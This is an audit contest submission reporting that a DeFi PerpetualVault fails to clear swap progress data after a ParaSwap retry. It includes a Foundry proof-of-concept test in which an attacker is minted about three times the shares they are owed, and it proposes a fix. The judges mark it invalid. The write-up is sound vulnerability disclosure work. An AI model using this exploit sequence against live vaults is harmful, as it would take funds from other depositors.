Liquidity Management
Gamma
DeFiFoundry
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Swap progress data and flow not deleted when depositing and swapping via ParaSwap

hgrano

Summary

Due to the PerpetualVault's swapProgressData not being cleared after executing a swap on ParaSwap during the deposit flow, a malicious user may exploit this and be awarded additional shares when depositing. This would lead to direct losses to other depositors.

Impact: high, as user funds are directly at risk.

Likelihood: medium, as this requires a specific sequence of calls made by the keeper (given lack of access to the off-chain script it is difficult to assess this). If the sequence of calls detailed below is expected, then the finding should be upgraded to High severity.

Vulnerability Details

This scenario may occur during a deposit flow on 1X leverage vault. On PerpetualVault:985, the swapProgressData.swapped is increased. There is a possible situation where the second swap (which must be GMX) fails. It is possible then that a retry is performed using ParaSwap instead. It is not known whether the retry using ParaSwap is possible behavior of the off-chain script, however it is not unreasonable to think this feature would exist (or could exist in future versions of the script). An attacker could also attempt to force this behavior via front-running the GMX order or price manipulation, causing the order to fail. Successful execution of the swap on ParaSwap will lead to PerpetualVault:1005 being executed which mints shares to the depositor but does not delete the swapProgressData. Consequently this would allow a user to deposit again however they will be minted extra shares. Additionally, if the attacker decided to withdraw again instead of depositing, then could potentially receive additional collateral tokens (please refer to the POC below).

The below POC can added as a test case to PerpetualVaultTest and run using:

export DEPOSIT_AGAIN=true
forge test --mp test/PerpetualVault.t.sol --match-test test_exploitSwapProgressData --via-ir --rpc-url arbitrum -vvv

(To test the case where the attacker calls withdraw rather than deposit after the contract reaches the unexpected state you can use export DEPOSIT_AGAIN=false)

function test_exploitSwapProgressData() external {
address keeper = PerpetualVault(vault).keeper();
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
IERC20 indexToken = IERC20(PerpetualVault(vault).indexToken());
​
// For testing purposes, reduce the lock time so we can avoid issues with Oracle stale prices when withdrawing
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setLockTime(1);
​
// Setup Alice
address alice = makeAddr("alice");
vm.startPrank(alice);
collateralToken.approve(vault, type(uint256).max);
deal(address(collateralToken), alice, 1e18 * 100);
vm.deal(alice, 100000 ether);
​
// Alice makes the initial deposit
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(1e10);
vm.stopPrank();
​
// Do the swap on paraswap first to open the position
MarketPrices memory prices = mockData.getMarketPrices();
bytes memory paraSwapData = mockData.getParaSwapData(vault);
bytes[] memory swapData = new bytes[](1);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
​
// Now Alice deposits again
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(2e10);
​
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "In deposit flow");
(PerpetualVault.NextActionSelector nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.INCREASE_ACTION), "In increase action state");
​
// Run the next action which will attempt para + gmx swap, but gmx swap fails
prices = mockData.getMarketPrices();
swapData = new bytes[](2);
paraSwapData = mockData.getParaSwapData(vault);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
// Set minOutputAmount too high for gmx swap to succeed
uint256 minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min;
swapData[1] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 1e10, minOutputAmount));
uint256 indexTokenBeforeSecondParaSwap = indexToken.balanceOf(vault);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(false);
uint256 indexTokenAfterSecondParaSwap = indexToken.balanceOf(vault);
// The amount stored on the PerpetualVault's `swapProgressData.swapped` variable:
uint256 swapProgressDataSwapped = indexTokenAfterSecondParaSwap - indexTokenBeforeSecondParaSwap;
​
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "Still in deposit flow");
(nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.SWAP_ACTION), "Next action is swap (retry)");
​
// If there is an issue with GMX or para swap offers better prices, we may decide to run next action using para swap instead
prices = mockData.getMarketPrices();
paraSwapData = mockData.getParaSwapData(vault);
swapData = new bytes[](1);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
​
// Due to PerpetualVault.sol:1005, `_mint` has been called but not `_finalize`, resulting in the following state:
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "Still in deposit flow");
(nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.NO_ACTION), "Action is deleted");
​
// We cannot run the next action because there next action selector is set to NO_ACTION
vm.expectRevert(Error.InvalidCall.selector);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
​
// Both user actions (deposit/withdraw) and the `run` function are blocked as they require no flow
vm.expectRevert(Error.FlowInProgress.selector);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(2e10);
vm.expectRevert(Error.FlowInProgress.selector);
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
​
// In order to address this situation we can attempt to call `cancelFlow` however PerpetualVault.sol:1223 reverts
// as there is insufficient collateral token (all of it has already been swapped)
vm.expectRevert();
vm.prank(keeper);
PerpetualVault(vault).cancelFlow();
​
// The last resort is to use owner privelages to reset the state, deleting the flow and action
PerpetualVault.Action memory noAction;
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setVaultState(
PerpetualVault.FLOW.NONE,
0, // flow data
PerpetualVault(vault).beenLong(),
PerpetualVault(vault).curPositionKey(),
PerpetualVault(vault).positionIsClosed(),
PerpetualVault(vault).isLock(),
noAction
);
​
// Use this flag to determine which way to exploit the contract state
bool depositAgain = vm.envBool("DEPOSIT_AGAIN");
​
if (depositAgain) {
// Exploit the contract state by depositing again
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(1e10);
​
// Record the vault balances prior to the next swap
uint256 totalIndexTokenBefore = indexToken.balanceOf(vault);
uint256 totalSharesBefore = PerpetualVault(vault).totalShares();
​
// Do a gmx swap but Alice is awarded additional shares as the swap progress data hasn't been deleted
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 1e10, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
​
// Vault index tokens after the swap
uint256 totalIndexTokenAfter = indexToken.balanceOf(vault);
​
// Alice is expected to have shares proportional to the increase in index tokens
uint256 aliceExpectedShares = (totalIndexTokenAfter - totalIndexTokenBefore) * totalSharesBefore / totalIndexTokenBefore;
(, uint256 aliceActualShares,,,,) = PerpetualVault(vault).depositInfo(3);
// The assertion below fails with: 3018016682962556058 != 1012011121975037372
// (minted approx. 3 times as many shares as she should have been)
assertEq(aliceActualShares, aliceExpectedShares, "Alice should be minted expected shares");
} else {
// Exploit the contract state by withdrawing
vm.warp(block.timestamp + PerpetualVault(vault).lockTime() + 1);
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, 1);
​
// Due to PerpetualVault.sol:535, the contract will attempt to send `outputAmount + swapProgressData.swapped` to Alice
// To test this we need to increase the Vault's collateral token balance
// The `swapProgressData.swapped` was an amount of WETH (18 decimals) whereas the `outputAmount` is USDC (6 decimals)
// In the case of WETH/USDC the amount of collateral token required is therefore unrealistically large, due to WETH being in 18 deciamls
// However, for WBTC/USDC, this would be more feasible as WBTC has only 8 decimals
deal(address(collateralToken), vault, swapProgressDataSwapped + collateralToken.balanceOf(vault));
​
uint256 aliceBalancePriorToRunNext = collateralToken.balanceOf(alice);
​
// Execute the swap using gmx (note this would also work with paraswap)
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
(,uint256 deposit1Shares,,,,) = PerpetualVault(vault).depositInfo(1);
uint256 swapAmount = deposit1Shares * indexToken.balanceOf(vault) / PerpetualVault(vault).totalShares();
minOutputAmount = swapAmount * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, swapAmount, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
​
emit log_named_uint("Alice balance increase", collateralToken.balanceOf(alice) - aliceBalancePriorToRunNext);
}
}

Impact

The main impact is that an attacker can receive a larger amount of shares than they should when depositing. After the lock up period the attacker can of course withdraw a larger value than what they deposited. This leads to direct loss of funds for other depositors.

As shown in the POC (if run using DEPOSIT_AGAIN=false), it may be possible for an attacker to exploit by immediately calling withdraw after the contract reaches the unexpected state. However this is more difficult to pull off, due to the quantity of collateral token required to be held by the vault to make it work.

Tools Used

Foundry

Recommendations

After calling _mint on PerpetualVault.sol:1005, perform the below state updates to clear the swapProgressData and complete the flow:

delete swapProgressData;
delete flowData;
delete flow;
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

hgrano Submitter
9 months ago
n0kto Lead Judge
8 months ago
n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!